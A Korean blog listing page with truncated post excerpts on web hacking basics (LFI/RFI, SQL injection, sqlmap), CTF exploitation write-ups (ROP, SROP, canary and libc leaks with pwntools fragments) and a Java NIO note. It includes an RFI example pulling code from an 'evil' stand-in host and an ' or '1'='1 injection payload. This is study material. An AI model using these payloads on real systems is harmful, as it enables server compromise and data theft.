본문 바로가기

COMPUTER435

[웹 해킹 입문] 4. LFI&RFI LFI&RFI LFI 와 RFI는 Local과 Remote에 대한 File Inclusion(파일 포함) 을 말한다. 해킹으로 말하자면, LFI와 RFI를 이용하여 웹 서버에 악성 코드를 넣는 기법이다. 가장 대표적인 것이 PHP의 include함수이다.이 함수의 역할은 특정 파일을 포함시켜 스크립트를 실행한다. vars.php의 소스코드는 다음과 같다! 또한 include함수는 php가 아닌 텍스트도 동일하게 포함시켜 실행한다. LFI: 서버에 FTP나 자료실로 악성 코드를 업로드시켜 include 시킴vulnerable.php?COLOR=C:\\ftp\upload\\exploit.txt RFI: 외부서버의 악성코드를 불러와 include 시킴vulnerable.php?COLOR=http://evil... 2018. 1. 15.
sqlmap sqlmap 여러 SQL 구문의 조합을 통해->sql injectionsqlmap은 파이썬으로 개발된 오픈소스사이트 url을 통해 SQL인젝션 취약점을 찾는다. 디비 완전 다 뚫림!! 취약점으로 인해 다른 테이블까지 다 뚫렸다! 비밀번호 dictionary attack까지 해준다! 2018. 1. 15.
contact-공백이용해서 ret덮어버리는 문제 이번이 3번째 도전하는 문제였지만, 결국 또 못풀고 답을 봐버렸다ㅜ익스는 매우 간단! 9시간동안 왜 이걸 생각 못헀는지 모르겠다. fsb처럼 보이지만, %와 n을 동시에 쓰지 못하는 문제!그리고, sprintf가 두 번 일어나서, %%를 해야, 두번째 sprintf에서 %가 제대로 박힌다.첫번쨰 sprintf를 이용해서 공백을 이용해서 ret을 덮은거 까지는 생각했으나, 이상하게 1000을 넘는 수가 들어가면이상한 값이 들어갔다!!답을 보니 두번째 sprintf를 이용했다.%1288c(쉘주소)를 하면 1287자리가 공백으로 채워지고, printf("%1288c","%")로 인식!그리고, 그 다음 4바이트에 ret을 덮을 쉘주소가 덮어진다. from pwn import *import times=proces.. 2018. 1. 11.
start_hard-64비트 SROP, 브루트포스 이 문제는 어..려....웠......다.......주어진 것은 read함수 뿐!먼저, 64비트는 int 80이 아닌 syscall을 쓰는 것을 몰랐었다.->이후, syscall을 써야 함을 깨닫긴 했으나,vsyscall에 있는 syscall을 사용하려 했다.->vsyscall은 마치 executable한 것 처럼 보이지만, 내부에서 엄청나게 복잡한 일이 벌어지면서segmentation fault를 띄운다. 실함수 주소가 뒤12비트는 고정됨을 이용! 확률 1/32로 syscall 브루트 포싱!64비트 SROP에서는 execve함수는 rax에 0x3b가 들어가고, rdi에 /bin/sh문자열 주소가 들어가면 된다!from pwn import *import time syscallret=0xffffffffff.. 2018. 1. 9.
JAVA 겨울방학 9일차 JAVA NIO에서는 Buffer를 이용해서 데이터 입출력 진행배열과 같은 연속된 메모리 공간2가지 종류의 Buffer가 존재 -direct buffer(OS):OS영역에 생성되는 버퍼:생성되는 시간은 상대적으로 길다(Native-C call을 이용해서 처리)->일반적으로 재서용:크기는 OS가 제공하는 메모리 공간크기만큼 잡을 수 있다.:효율은 더 좋다! -non direct buffer(Java):Java Program내에서 생성되는 버퍼:메모리 공간 Heap에 생성:생성되는 시간은 상대적으로 짧다:만들 수 있는 버퍼의 크기가 제한된다.:상대적으로 속도는 느리다. Channel->FileChannel을 이용한 파일처리까지 진행 package JavaNIO; import java.nio.ByteBuffe.. 2018. 1. 8.
[웹 해킹 입문] 3. SQL 인젝션 SQL 인젝션-인증우회-기밀데이터 접근-웹 사이트 콘텐츠 변경-DB 서버 shutdown 특수문자를 입력하여 SQL 인젝션 실행작은따옴표('), 주석 처리에 사용하는 하이픈(-) PHP에서는 작은따옴표의 취약점을 막도록 다음과 같이 2가지를 지원한다.1) 함수 addslashes()를 이용하여 작은따옴쵸 기호 앞에 역슬래시(\) 추가2) php.ini의 magic_quotes_gpc 옵션 활성화(On)->get, post, cookie를 사용하여 넘어온 변숫값에 quotes(',",\, NULL등)가 있으면 자동으로 앞에 역슬래시(\)를 붙인다. 1. ' or '1'='1select user_login, user_pass, user_email FROM wp_userswhere user_login='' o.. 2018. 1. 8.
[웹 해킹 입문] 1. 웹해킹 개요 웹해킹 입문 서적을 참고했습니다. 웹(www): 인터넷에 연결된 컴퓨터들을 통해 사람들이 정보를 공유할 수 있는 전 세계적인 정보공간 웹: 네트워크 기술의 한 분야로 지구상에서 가장 거대한 네트워크이다.인터넷: TCP/IP라는 프로토콜을 사용하는 네트워크의 집합체, 웹은 그 안에서 이루어지는 서비스 이더넷(Ethernet): 랜(LAN)이라고 하며, 일반적으로 가정, 소규모 사업장에서 가장 많이 쓰이는 네트워크 기술리피터(Repeater): 약한 신호를 좀 더 멀리 보내기 위한 중계기허브(Hub): 컴퓨터들을 랜 환경에 접속시키는 네트워크 장비 초창기: 사용자 한 명이 자신의 컴퓨터만을 다루었다. 이때는 네트워크 개념이 없었다.->네트워크 구성이 가능한 시절: 일부 컴퓨터들이 모여 이더넷(LAN)이라는 .. 2018. 1. 8.
scv-64비트, C++, ROP, 카나리릭, libc릭 64비트, C++, ROP, 카나리릭, libc릭- 아주 간단한 카나리릭, libc릭 문제였다.C++형태이고, 64비트 문제라서 조금 생소했다. read를 하고, 입력 받은 것을 출력해주는데, 이때 릭을 했다.카나리릭+libc릭->카나리와 /bin/sh주고, system주소 알아낼 수 있다.+)카나리는 항상 \x00으로 끝난다! 리턴어드레스에는 pop rdi; ret을 넣어준다.64비트에서는 함수 호출규약이 조금 다르다. 스택기반이 아닌 레지스터로! rdi로 들어간다. 그래서 pop rdi; ret;을 이용해서 rdi에 /bin/sh주소를 넣어주고, 그 다음 리턴 어드레스에 system주소를 넣어준다! from pwn import * prdir=0x400ea3 #pop rdi; ret s=process(.. 2018. 1. 6.
enjoy_rop-ROP+SROP SROP+ROP- SROP문제! 문제는 아주 간단하다. sys_read를 매우 길게 받는다.execve를 호출하기 위해서는eax를 11로 만들고, ecx와 edx는 널바이트로 채우고, ebx에는 /bin/sh문자열의 주소가 들어가야 한다.문제에서 스택의 주소를 주기 때문에, read를 받을 때, /bin/sh\x00을 주고 그 주소를 알아낼 수 있다. pop eax라는 가젯이 없으므로, eax는 read로 받아들이는 byte로 바꿔준다.하지만, return address를 덮어야 하므로, 11만큼 read하면 return address를 덮을 수 없다. 따라서, 다시 앞으로 돌리는 작업이 필요하다. 처음에는 /bin/sh만 넣어주고 뒤쪽에 가젯들을 넣어준다음에다시 돌아왔을 때는 read를 이용해 eax를.. 2018. 1. 6.